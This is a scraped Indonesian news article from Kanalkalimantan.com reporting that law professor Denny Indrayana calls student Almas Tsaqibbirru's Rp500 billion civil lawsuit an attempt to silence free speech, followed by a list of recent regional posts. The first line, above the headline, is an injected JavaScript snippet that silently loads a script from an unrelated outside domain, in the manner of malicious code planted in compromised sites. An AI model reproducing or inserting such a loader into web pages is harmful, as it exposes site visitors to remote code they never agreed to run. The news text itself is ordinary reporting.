(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gugatan Setengah Triliun Almas Disebut Denny Indrayana Modus Pembungkaman Berpendapat


KANALKALIMANTAN.COM, BANJARMASIN – Praktisi hukum asal Kalimantan Selatan (Kalsel) Prof Denny Indrayana bereaksi usai digugat mahasiswa bernama Almas Tsaqibbirru RE A dengan gugatan Rp500 miliar di Pengadilan Negeri (PN) Banjarbaru.

Menurut Denny, gugatan perdata yang dilayangkan oleh mahasiswa Universitas Surakarta (UNSA) Solo itu merupakan bentuk pembungkaman dalam kemerdekaan berpendapat.

Sebab, gugatan tersebut muncul setelah dirinya mengkritik putusan uji materil Undang-Undang Pemilu tentang batas usia Capres Cawapres di Mahkamah Konstitusi (MK) yang diajukan Almas, dimana Denny pernah menyebut ada indikasi kejahatan terorganisir dan terencana di balik putusan yang akhirnya mememuluskan Gibran menjadi Cawapres itu.

Baca juga: Bandara Dhoho Kediri Resmi Dibuka, Warga Berwisata Dadakan

“Saya melihat (gugatan Almas) ini sebagai modus pembungkaman yang menggunakan instrumen hukum gugatan sebagai pintu masuknya,” kata Denny di Banjarmasin, Minggu (4/1/2024) siang.

Meskipun menurutnya bukan laporan pidana atau Undang-Undang Transaksi Elektronik (ITE), namun tuntutan ganti rugi imateriil dengan nominal fantastis Rp500 miliar yang dilayangkan kepadanya telah mengarah kepada bentuk intimidasi finansial.

“Walaupun bukan laporan pidana, tapi tuntutan Rp500 miliar tetap menunjukkan ada intimidasi finansial,” ujarnya.

Terlepas dari itu, Denny mengaku akan tetap menghadapi gugatan dan memenuhi panggilan sidang di Pengadilan Negeri (PN) Banjarbaru Selasa (6/2/2024) lusa.

Baca juga: Riding Subuh Wali Kota Aditya Bersama Bikers Subuhan Banjarbaru, Peringati Isra Mikraj hingga Bakti Sosial ke Ponpes

Bahkan, Denny juga berniat untuk menggugat balik Almas. Namun, ia belum membocorkan waktu dan jenis gugatan balik yang akan dilayangkan kepada mahasiswa UNSA Solo itu.

“Kita akan menggugat balik sebagai bentuk perlawanan,” pungkasnya.

Seturut penelusuran Kanalkalimantan.com di laman SIPP PN Banjarbaru, gugatan klasifikasi perkara perbuatan melawan hukum terhadap Denny telah terdaftar dengan nomor register 4/Pdt.G/2024/PN Bjb tanggal 29 Januari 2024.

Penggugatnya tertulis atas nama Alma Tsaqibbirru RE A dan tergugat Prof Denny Indrayana SH LLM PhD. Sidang pertama akan digelar pada Selasa (6/2/2024) pukul 09.00 Wita.

Baca juga: Denny Indrayana Digugat Mahasiswa Rp500 Miliar di PN Banjarbaru

Dalam gugatannya, Almas selaku penguji materil Undang-undang Pemilu soal batas usia capres cawapres di Mahkamah Konstitusi (MK) merasa dirugikan dengan pernyataan Denny usai Mahkamah Konstitusi menegabulkan uji materil Undang-Undang Pemilu soal batas usia Capres Cawapres.

Salah satu petitum dalam gugatan Almas yaitu berbunyi, “Menyatakan Perbuatan Tergugat dengan yang menyatakan melalui media Online. Perbuatan tergugat diatas yang menyatakan penggugat bagian dari kejahatan terorganisir dan terencana adalah tuduhan tidak berdasar, berniat jahat untuk memalukan dan mencemarkan nama baik penggugat yang merugikan penggugat secara materiil dan immaterial, maka atas pernyataan tergugat tersebut tidak pernah menyertakan data, fakta ataupun bukti atas pernyataan yang menjadi tuduhan, tidak ada dasar hukum dan atau dasar putusan hukum yang berkekuatan hukum tetap atas pernyataan yang menjadi tuduhan adalah merupakan perbuatan melawan hukum”

Kemudian “Menyatakan akibat perbuatan melawan hukum yang telah dilakukan tergugat kepada penggugat mengakibatkan penggugat mengalami kerugian penggugat secara materiil adalah membayar jasa lawyer Rp200.000.000 yang diperoleh dengan cara berhutang dari orangtuanya penggugat dan kerugian immateriil yang semuanya itu menurut hukum dapat dimintakan penggantian dalam bentuk uang tunai dalam jumlah yang wajar dan setara, yaitu sebesar Rp500.000.000.000”. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

3 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

3 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

5 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

8 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

9 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

10 jam ago

This website uses cookies.